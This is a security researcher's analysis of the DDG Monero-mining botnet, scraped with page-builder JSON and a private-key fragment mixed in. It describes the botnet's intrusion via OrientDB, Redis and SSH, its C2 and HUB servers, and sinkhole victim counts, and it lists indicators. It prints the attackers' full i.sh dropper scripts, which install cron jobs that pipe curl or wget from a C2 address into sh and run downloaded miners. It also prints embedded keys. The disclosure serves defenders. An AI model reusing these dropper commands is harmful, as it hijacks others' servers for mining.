OiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV
+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP
qpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma
nNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv
JeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec
eoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k
y6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE
HxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN
6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8
caN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf
z9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek
O+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G
pEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk
-----END RSA PRIVATE KEY-----</code></pre> | Starting 2017-10-25, we noticed there was a large scale ongoing scan targeting the OrientDB databases. Further analysis found that this is a long-running botnet whose main goal is to mine Monero CryptoCurrency. We name it DDG.Mining.Botnet after its core function module name DDG.
Currently we are able to confirm that the botnet has mined more than 3,395 Monroe coins, equivalent to USD 925,383 at current prices. In addition, there is another 2,428 XMRs (equivalent to USD 661,759) we have yet to fully confirm due to the mining pool's payment record issue. This makes DDG by far the second largest Monroe related botnet we have seen, just behind the MyKings Botnet we reported earlier.
DDG code appears at least late in 2016 and is continuously updated throughout 2017.
DDG uses a C2 and HUB layout to communicate with its clients. The HUB is a set of IPs and domain names that are used to provide Miner program for the compromised clients to download.
It is worth noting that we were able to successfully register and sinkhole two domain names used by its v2011 version, thus we were able to have a good understanding of the size of the entire DDG botnet based on Sinkhole data.
DDG Mining Botnet Total Incoming
DDG uses the following mine pool:
* https://monero.crypto-pool.fr/
Three wallet addresses have been used, as follows:
* Wallet #1 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg
* Wallet #2 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1
* Wallet #3 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM
Among them, Wallet#3 was the first wallet address been used, most active between the time period 2017-02~2017-03; then followed by Wallet#1, been used most of the 2017; Wallet#2 is a recent active one first seen on 2018-01-03.
The pool allows us to check the payment record of the wallets. The income of all three wallets is shown in the following table. The total income is Monroe 3,395 or 5,760. These tokens are worth USD 925,383 or 1,569,963 today. Note: There is an issue for the second wallet, where "Total Paid" is not consistent with the summary of all tractions' amount. We cannot confirm which number is more accurate, so we show both numbers here.
DDG Mining Botnet Workflow
By analyzing the sample and its behavior, we can characterize the DDG Mining Botnet attack as follows:
In the picture above, DDG Mining Botnet attack process can be divided into several stages:
* Initial Scanning: The attacker (ss2480.2) exploits the known RCE vulnerability of the OrientDB database and drops the attack payload
* Stage 1: Attackers modify local Crontab scheduled tasks, download and execute i.sh (hxxp: //218.248.40.228:8443/i.sh) on the primary server and keep it synchronized every 5 minutes
* Stage 2: DDG traverses the built-in file hub_iplist.txt, check the connectivity of every single entry and try to download the corresponding Miner program wnTKYg from the one can be successfully connected (wnTKYg.noaes if the native CPU does not support AES-NI)
* Mining Stage: The Miner program begins to use the computing resources of the compromised host to begin mining for the attacker's wallet.
The HUB used in the second phase is a very interesting design. The attacker goes over all IPs and domain names written in the HUB file to download the mining program, so as to avoid the possible blocking caused by using a single download server. We observe that DDG operators update the IP and domain names of these HUB from time to time, and most of these ips and domains are hacked boxes. See the entire HUB list at the end.
In v2011, somehow two domain names out of three on the list were left unregistered, so we went ahead and registered them, as follows.
* defaultnotepad567[.]com
* unains1748[.]com unregistered
* 5dba35bsmrd[.]com unregistered
Below we will introduce the DDG botnet C2s, HUB, and Bot respectively.
The C2s
The DDG botnet uses the following C2 to maintain control of the device:
* 202.181.169.98:8443/i.sh
* 218.248.40.228:8443/i.sh
The first C2 was only used by this botnet briefly. And the second C2 has been pretty much the only active C2 for the last two years.
The HUB and Our Sinkhole
DDG botnet uses HUB_IP: 8443\wnTKYg to provide miner program. The detailed list of the two versions of HUB we monitored is given in the IoC section at the end of this article. The country distribution is shown in the following table. Most of the victims can be seen in China.
As we mentioned before, DDG bot will go over and check connectivity of every single one of the IPs and domain names on the hub list, which means we were able to get a very accurate infected clients list by sinkhole the above two domains.
The DDG operators noticed this after about 20 days and subsequently released an updated version of DDG code that replaced all IPs and domain names, including our Sinkholed domains. But the time is long enough for us to have some good measurement of this botnet.
Use Sinkhole Data to Measure DDG Mining Botnets
From the sinkhole data, we recorded a total of 4,391 IP addresses of victims from all countries, with the most prominent victims being China (73%) and the United States (11%):
And the following diagram shows the overall trend of the victim's DNS requests for the above two domains.
To avoid abuse, the list of all victims IP is not made public.
A DNSMon Perspective
Our DNSMon is also aware of these three domain names, the traffic access patterns of these 3 domains match very well as can be seen from the first diagram:
And the second diagram show that these 3 domains have very strong correlations.
DDG Mining Botnet Attack Process Breakdown
Initial Scanning
The scanning and intrusion phase of DDG Mining Botnet is done by sample ss2480.2. The ss2408.2 scans port 2480 and then uses the OrientDB RCE Vulnerability CVE-2017-11467 to implement the intrusion.
ss2480.2 will first scan the internal network, and then scan the public network segment. The internal target IP ranges are:
* 10.Y.x.x/16 (Y is the value of the current intranet IP B segment)
* 172.16.x.x/16
* 192.168.x.x/16
After the internal networks scan, ss2480.2 visits hxxp://v4.ident.me to get a public IP address of the current host WAN_IP , then using WAN_IP/8 to generate public Target IP ranges. All the reserved address segments will be filtered:
Stage 1
Here is the main configuration URL of DDG, the IP 218.248.40.228 is located in India, AS9829:
* hxxp://218.248.40.228:8443/i.sh
This i.sh has changed many times, but the content is more or less the same, below is an early version, with following main functions:
* Synchronize local Crontab with i.sh from the C2 server
* Download and execute DDG sample from the C2 server
* Check and clear the old version of the local DDG process
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2011" ]; then
curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011
#if [ ! -f "/tmp/ss2480.2" ]; then
#curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2
ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011
The i.sh script gives attacker very flexible control to deliver any malicious software to the compromised host. And we did see this file change from time to time to serve new Trojan files or to deliver malware that incorporates new attacks. For example:
* DDG Samples: the ddg.$(uname -m) series. This the long-run payload, we have seen three version, V2011, V2020 and V2021
* ss22522 Samples: Only work for a short period, against the Struts2 vulnerability S2-052
* ss2480 Samples: Also for a short period too, against OrientDB RCE. This is the very sample exposed DDG to us
By the way there is an issue in early version of i.sh, where a "xargs" is missing just ahead of 'kill' command, so the older process will not get killed as intended. This issue is fixed in later version.
On 2018.1.3, the attacker pushed out the newest version of i.sh (v2021.2), adding another mining process imWBR1 , which uses the second XMR wallet listed earlier:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2021" ]; then
curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi
if [ ! -f "/tmp/ddg.2021" ]; then
wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi
chmod +x /tmp/ddg.2021 && /tmp/ddg.2021
if [ ! -f "/tmp/imWBR1" ]; then
curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
Stage 2
At this phase, DDG tries to test all the hosts in the hub_iplist.txt, and if success DDG will visit hxxp://hub_ip:8443/wnTKYg to download and execute the corresponding program wnTKYg Miner (if the native CPU does not support AES-the NI , it will download wnTKYg.noaes).
All the ddg.xxx and ss2480.xxx were written in Golang. DDG communicate to the HUB with a third party Golang Stream Multiplexing library Smuxcompleted. The default Smux configuration is been used.
So after DDG downloads Miner from the HUB and starts to KeepAlive, it sends 2 packets to the connected HUB IP every 10s:
The Built-in Hub_iplist.txt
The original DDG sample download URL is hxxp://218.248.40.228:8443/2011/ddg.$(uname -m), as written in i.sh. There are 158 hub_ip:8443 and 3 hub_domain:8443 listed in the hub_iplist, two of which are unregistered and then registered by us.
On 2017-11-10 We found that there is a change in the contents of i.sh file, ddg sample download link has changed to hxxp://218.248.40.228:8443/2020/ddg.$(uname -m). The attacker replaced all HUP IPs and domain names including ours. The latest contents of hub_iplist.txt can be seen at the bottom of this blog ip_hublist (v2020 ~ v2021) .
DDG Mining Botnet Also Targeted Redis Database and SSH Service
The above analysis focuses on the OrientDB exploit (ss2480 series).
In fact, the DDG samples also target SSH and Redis services as well, which are another two major methods used by DDG to compromise vulnerable hosts. Some of the related functions and the password dictionary are shown in the following two figures:
The victim is also implanted with the X509 key files. Three key files built into the sample are as follows, details at the end of the article:
1. slave.pem
2. ca.pem
3. slave.key
Looking at historical data, we can also see the i.sh host 218.248.40.228 scanning the Redis database early on. A google search turned up some posts complaining their server was infested with ddg botnet. The following diagram shows the ports that were scanned by 218.248.40.228 between 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00. Port
6379, 7379 and 2480 represents Redis, Redis (Replicas) and OrientDB:
One more thing
Starting from 2018.1.25 at 21 o'clock (GMT+8), we saw another update of this botnet, with link hxxp://218.248.40.228:8443/2011/ddg.x86_64, and this time it deliveries a Mirai family sample.
* Family : mirai
* C2 : linuxuclib.com:8080
* C2 : jbeupq84v7.2y.net, no IP address associated yet
* MD5 : cbc4ba55c5ac0a12150f70585af396dc
IoC
C2:
202.181.169.98:8443
218.248.40.228:8443
linuxuclib.com:8080
jbeupq84v7.2y.net
Samples' MD5:
b1201bf62f3ca42c87515778f70fd789 ddg.i686 --> v2011
7705b32ac794839852844bb99d494797 ddg.x86_64 --> v2011
1970269321e3d30d6b130af390f2ea5c ddg.i686 --> v2020
5751440a2b3ce1481cf1464c8ac37cbe ddg.x86_64 --> v2020
f52f771c5b40a60ce344d39298866203 ddg.i686 --> v2021
3ea75a85bab6493db39b1f65940cc438 ddg.x86_64 --> v2021
b0c6cefa1a339437c75c6b09cefeb2e8 ss2480.1
8c31b6379c1c37cf747fa19b63dd84a1 ss2480.2
4fc28b8727da0bcd083a7ac3f70933fa ss22522.2
d3b1700a413924743caab1460129396b wnTKYg
8eaf1f18c006e6ecacfb1adb0ef7faee wnTKYg.noaes
9ebf7fc39efe7c553989d54965ebb468 imWBR1
Sample Downloading URL
hxxp://218.248.40.228:8443/2011/ddg.i686
hxxp://218.248.40.228:8443/2011/ddg.x86_64
hxxp://218.248.40.228:8443/2020/ddg.i686
hxxp://218.248.40.228:8443/2020/ddg.x86_64
hxxp://218.248.40.228:8443/2021/ddg.i686
hxxp://218.248.40.228:8443/2021/ddg.x86_64
hxxp://218.248.40.228:8443/i.sh
hxxp://218.248.40.228:8443/ss22522.2
hxxp://218.248.40.228:8443/ss2480.1
hxxp://218.248.40.228:8443/ss2480.2
hxxp://218.248.40.228:8443/wnTKYg
hxxp://202.181.169.98:8443/2011/ddg.i686
hxxp://202.181.169.98:8443/2011/ddg.x86_64
hxxp://202.181.169.98:8443/i.sh
hxxp://202.181.169.98:8443/ss22522.2
hxxp://202.181.169.98:8443/ss2480.1
hxxp://202.181.169.98:8443/ss2480.2
hxxp://202.181.169.98:8443/wnTKYg
hxxp://218.248.40.228:8443/imWBR1
ip_hublist(v2011): ip_hublist__2011.txt
ip_hublist(v2020~v2021): ip_hublist__2020.txt
Three Key files
slave.pem
-----BEGIN CERTIFICATE-----
MIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3
ZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV
BAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w
9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD
CAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE
Qll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy
EZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE
G5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR
SKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC
niH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz
N9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX
/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh
Mon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp
Jmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS
uDpcOCRjJg==
-----END CERTIFICATE-----
ca.pem
-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER
MA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK
Tnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX
5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI
oRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD
x++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx
gK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe
oZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH
Oh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg
pfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6
Cax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs
doWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF
tEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP
-----END CERTIFICATE-----
slave.key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc
AWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z
mbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm
VeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj
CdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF
oOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv
QkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY
R8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV
7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN
Z+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH
p9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh
OZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK
OiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV
+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP
qpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma
nNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv
JeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec
eoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k
y6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE
HxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN
6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8
caN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf
z9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek
O+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G
pEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk
-----END RSA PRIVATE KEY----- | {"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2018/01/ddg_total_incoming.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/atk_process.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/02/hub_asn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/sinkhole_ip_asn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/bot_dns_query_trend.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/3_related_domain.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/2_related_domain.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/scantarget_lan.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/scantarget_wan.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/orientdb_exp1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/orientdb_rce_exp.png","alt":"","title":""}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh\" > /var/spool/cron/root \nmkdir -p /var/spool/cron/crontabs \necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh\" > /var/spool/cron/crontabs/root\n\nif [ ! -f \"/tmp/ddg.2011\" ]; then \n curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011\nfi \nchmod +x /tmp/ddg.2011 && /tmp/ddg.2011\n\n\n#if [ ! -f \"/tmp/ss2480.2\" ]; then\n #curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2\n#fi\n#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2\n\nps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill \n#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n\n#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011\n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh\" > /var/spool/cron/root \necho \"*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh\" >> /var/spool/cron/root \nmkdir -p /var/spool/cron/crontabs \necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh\" > /var/spool/cron/crontabs/root \necho \"*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nif [ ! -f \"/tmp/ddg.2021\" ]; then \n curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021\nfi\n\nif [ ! -f \"/tmp/ddg.2021\" ]; then \n wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021\nfi\n\nchmod +x /tmp/ddg.2021 && /tmp/ddg.2021\n\n\nif [ ! -f \"/tmp/imWBR1\" ]; then \n curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed\nfi\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill \n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["image",{"src":"__GHOST_URL__/content/images/2017/11/smux_defaultconf.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/hub_keepalive.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/redis_ssh_funcs.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/auth_dict.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/5_historical_scanning_port_by_i_sh_host.png","alt":"","title":""}],["code",{"code":"202.181.169.98:8443 \n218.248.40.228:8443 \nlinuxuclib.com:8080 \njbeupq84v7.2y.net \n"}],["code",{"code":"b1201bf62f3ca42c87515778f70fd789 ddg.i686 --> v2011 \n7705b32ac794839852844bb99d494797 ddg.x86_64 --> v2011 \n1970269321e3d30d6b130af390f2ea5c ddg.i686 --> v2020 \n5751440a2b3ce1481cf1464c8ac37cbe ddg.x86_64 --> v2020 \nf52f771c5b40a60ce344d39298866203 ddg.i686 --> v2021 \n3ea75a85bab6493db39b1f65940cc438 ddg.x86_64 --> v2021 \nb0c6cefa1a339437c75c6b09cefeb2e8 ss2480.1 \n8c31b6379c1c37cf747fa19b63dd84a1 ss2480.2 \n4fc28b8727da0bcd083a7ac3f70933fa ss22522.2 \nd3b1700a413924743caab1460129396b wnTKYg \n8eaf1f18c006e6ecacfb1adb0ef7faee wnTKYg.noaes \n9ebf7fc39efe7c553989d54965ebb468 imWBR1 \n"}],["code",{"code":"hxxp://218.248.40.228:8443/2011/ddg.i686 \nhxxp://218.248.40.228:8443/2011/ddg.x86_64 \nhxxp://218.248.40.228:8443/2020/ddg.i686 \nhxxp://218.248.40.228:8443/2020/ddg.x86_64 \nhxxp://218.248.40.228:8443/2021/ddg.i686 \nhxxp://218.248.40.228:8443/2021/ddg.x86_64 \nhxxp://218.248.40.228:8443/i.sh \nhxxp://218.248.40.228:8443/ss22522.2 \nhxxp://218.248.40.228:8443/ss2480.1 \nhxxp://218.248.40.228:8443/ss2480.2 \nhxxp://218.248.40.228:8443/wnTKYg \nhxxp://202.181.169.98:8443/2011/ddg.i686 \nhxxp://202.181.169.98:8443/2011/ddg.x86_64 \nhxxp://202.181.169.98:8443/i.sh \nhxxp://202.181.169.98:8443/ss22522.2 \nhxxp://202.181.169.98:8443/ss2480.1 \nhxxp://202.181.169.98:8443/ss2480.2 \nhxxp://202.181.169.98:8443/wnTKYg \nhxxp://218.248.40.228:8443/imWBR1 \n"}],["code",{"code":"-----BEGIN CERTIFICATE-----\nMIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3 \nZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV \nBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w \n9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD \nCAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE 